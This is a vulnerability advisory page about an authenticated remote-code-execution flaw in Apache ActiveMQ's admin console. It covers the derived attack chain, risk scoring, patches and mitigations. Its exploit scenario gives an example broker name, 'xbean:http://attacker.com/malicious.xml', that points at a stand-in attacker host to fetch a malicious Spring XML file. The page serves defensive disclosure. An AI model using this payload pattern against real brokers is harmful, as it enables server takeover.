Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain admin console credentials
-
DeliveryAuthenticate to web console
-
ExploitInject malicious broker name with xbean binding
-
ExecutionTrigger VM transport via DestinationView mbean
-
PersistFetch remote Spring XML context
-
ImpactExecute arbitrary code via bean factory methods
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Requires authenticated access to the Apache ActiveMQ admin web console with sufficient privileges to create broker configurations and interact with DestinationView mbeans - typically requires credentials for the 'admin' role or equivalent administrative access. The admin web console must be network-accessible to the attacker (commonly exposed on port 8161 by default). The ActiveMQ broker must support VM transport protocol, which is enabled by default in standard configurations. The broker's JVM must have network egress capability to fetch remote Spring XML contexts from attacker-controlled servers, or the attacker must be able to reference accessible internal URIs. Exploitation is limited by the need for valid admin credentials rather than being exploitable against default unauthenticated configurations, and attack complexity is low (AC:L) once credentials are obtained. No user interaction required (UI:N) after initial authentication. Does not affect deployments where admin console is disabled, network-isolated, or protected by additional authentication layers beyond basic admin credentials. |
| Impact | This vulnerability presents moderate real-world risk requiring careful contextualization beyond the CVSS 8.8 score. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network-accessible attack with low complexity, but critically requires authenticated low-privilege access (PR:L) - specifically admin console access based on the description. CISA SSVC framework rates this as 'Exploitation: none' (no observed active exploitation) and 'Automatable: no' (requires specific authentication and interaction with admin console), with 'Technical Impact: total' (full system compromise possible). The EPSS score of 0.06% (19th percentile) aligns with SSVC, suggesting this is not being actively exploited despite theoretical severity. Key risk factors: authenticated requirement significantly reduces attack surface compared to unauthenticated RCE; admin console access implies attacker already has elevated privileges; attack requires knowledge of ActiveMQ internals and Spring XML injection techniques. Primary risk scenarios involve insider threats, compromised admin credentials, or environments where admin console is exposed with weak authentication. Organizations not exposing admin console to untrusted networks or lacking strict admin credential management face substantially lower practical risk despite high CVSS rating. |
| Exploit ScenarioDerived | An attacker who has compromised legitimate admin credentials (through phishing, credential stuffing, or insider access) authenticates to the ActiveMQ admin web console. They navigate to broker management functions and create a new broker with a malicious name containing embedded xbean binding syntax pointing to an attacker-controlled Spring XML file hosted on a remote server (e.g., broker name: 'xbean:http://attacker.com/malicious.xml'). The attacker then uses the DestinationView mbean interface to send a message to a destination that triggers VM transport initialization referencing the malicious broker name. ActiveMQ's VM transport attempts to load the broker configuration, fetching the remote Spring XML context file. Spring's ResourceXmlApplicationContext immediately instantiates all singleton beans defined in the malicious XML, which includes beans with factory methods calling Runtime.getRuntime().exec() to execute arbitrary system commands with the privileges of the ActiveMQ broker process, typically achieving full server compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 24, 2026
Remote code execution in Apache ActiveMQ allows authenticated attackers with admin console access to inject malicious Spring XML contexts that execute arbitrary code on the broker's JVM. Attackers exploit improper broker name validation to embed xbean bindings, then trigger VM transport creation via DestinationView mbean to load remote Spring XML files containing malicious bean factory methods like Runtime.exec(). EPSS score of 0.06% (19th percentile) indicates low observed exploitation probability despite CVSS 8.8, with CISA SSVC confirming no active exploitation and non-automatable attack chain. Vendor patches available: versions 5.19.6 and 6.2.5 address the vulnerability.
RemediationAI
Upgrade to Apache ActiveMQ version 5.19.6 (for 5.x deployments) or version 6.2.5 (for 6.x deployments) as recommended by vendor advisory at https://activemq.apache.org/security-advisories.data/CVE-2026-41044-announcement.txt. These versions implement proper input validation for broker names preventing xbean binding injection. If immediate patching is not feasible, implement compensating controls: (1) Restrict admin web console access to trusted internal networks only using firewall rules or network segmentation - this eliminates remote attack vector but impacts legitimate remote administration workflows; (2) Enforce strong authentication and multi-factor authentication for admin console access, limit admin accounts to minimum necessary personnel, and audit admin console access logs for suspicious broker creation or DestinationView operations; (3) Disable VM transport protocol if not required for legitimate use cases by removing vm:// transport connectors from ActiveMQ configuration - this breaks the attack chain but may impact applications using in-JVM broker connectivity; (4) Deploy web application firewall with rules detecting xbean syntax patterns in broker name parameters submitted to admin console endpoints. Note that workarounds significantly reduce but do not eliminate risk, as authenticated attackers with legitimate admin access could still potentially exploit the vulnerability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 6 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache ActiveMQ is a Java-based message broker implementing JMS (Java Message Service) with embedded Spring Framework for configuration management. The vulnerability stems from CWE-20 (Improper Input Validation) in the admin web console's broker name validation logic. The attack chain exploits ActiveMQ's VM transport protocol, which allows in-JVM message passing between embedded brokers, combined with Spring's ResourceXmlApplicationContext that eagerly instantiates singleton beans before BrokerService validates configurations. The xbean binding mechanism permits Spring XML context file references, and when combined with inadequate input sanitization, allows authenticated attackers to inject malicious broker names containing remote XML URIs. The CPE data confirms impact across three package distributions: apache_activemq, apache_activemq_broker, and apache_activemq_all, affecting all versions before 5.19.6 in the 5.x line and versions 6.0.0 through 6.2.4 in the 6.x line.
Know when Apache Activemq gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (apache).
CVSS VectorVendor: apache
Lifecycle Timeline
4DescriptionCVE.org
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ, Apache ActiveMQ Broker, Apache ActiveMQ All.
An authenticated attacker can use the admin web console page to construct a malicious broker name that bypasses name validation to include an xbean binding that can be later used by a VM transport to load a remote Spring XML application. The attacker can then use the DestinationView mbean to send a message to trigger a VM transport creation that will reference this malicious broker name which can lead to loading the malicious Spring XML context file.
Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().
This issue affects Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5.
Users are recommended to upgrade to version 6.2.5 or 5.19.6, which fixes the issue.
Blast Radius
ecosystem impact- 6 maven packages depend on org.apache.activemq:activemq-all (3 direct, 3 indirect)
- 21 maven packages depend on org.apache.activemq:activemq-broker (14 direct, 7 indirect)
Ecosystem-wide dependent count for version 6.0.0 and other introduced versions.
Executive ViewAI
Apache ActiveMQ versions prior to 5.19.6 and 6.2.5 contain a remote code execution vulnerability requiring authenticated admin console access, allowing attackers to execute arbitrary code on the message broker. Organizations running affected ActiveMQ deployments face potential compromise of messaging infrastructure and downstream systems, with impact limited to authenticated threat actors who possess admin credentials.
Apply vendor patch. If immediate patching is not feasible: restrict admin console access to trusted internal networks using firewall rules, disable remote admin console access, enforce multi-factor authentication for all admin accounts, and monitor broker logs for suspicious DestinationView mbean operations.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Apache Activemq
View allRemote code execution in Apache ActiveMQ Classic versions before 5.19.5 and 6.0.0-6.2.2 allows authenticated attackers t
Remote code execution in Apache ActiveMQ 5.x (before 5.19.6) and 6.x (before 6.2.5) allows authenticated attackers to by
Privilege escalation via improper authorization in Apache ActiveMQ before 5.19.8 and 6.0.0 before 6.2.7 lets an authenti
Denial-of-service in Apache ActiveMQ STOMP connectors lets a remote peer that can reach an exposed STOMP port crash or e
Denial of service in Apache ActiveMQ (Client, broker, and All distributions) before 5.19.8 and 6.x before 6.2.7 lets a r
Remote denial of service in Apache ActiveMQ (versions 5.19.7 and 6.2.6) allows an unauthenticated attacker to exhaust br
Improper input validation in Apache ActiveMQ lets an attacker who can write or modify LDAP entries matching the broker's
Out-of-memory denial of service in Apache ActiveMQ allows unauthenticated remote attackers to exhaust broker memory via
Remote denial-of-service in Apache ActiveMQ 6.0.0 through 6.2.3 allows unauthenticated network attackers to crash the MQ
Stored XSS in Apache ActiveMQ and Apache ActiveMQ Web allows authenticated attackers to inject malicious HTML into JMS s
Improper path validation in Apache ActiveMQ Client and Broker allows authenticated users to traverse the classpath via c
EUVD-2026-25412
GHSA-mr6m-xj7v-3cv3
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB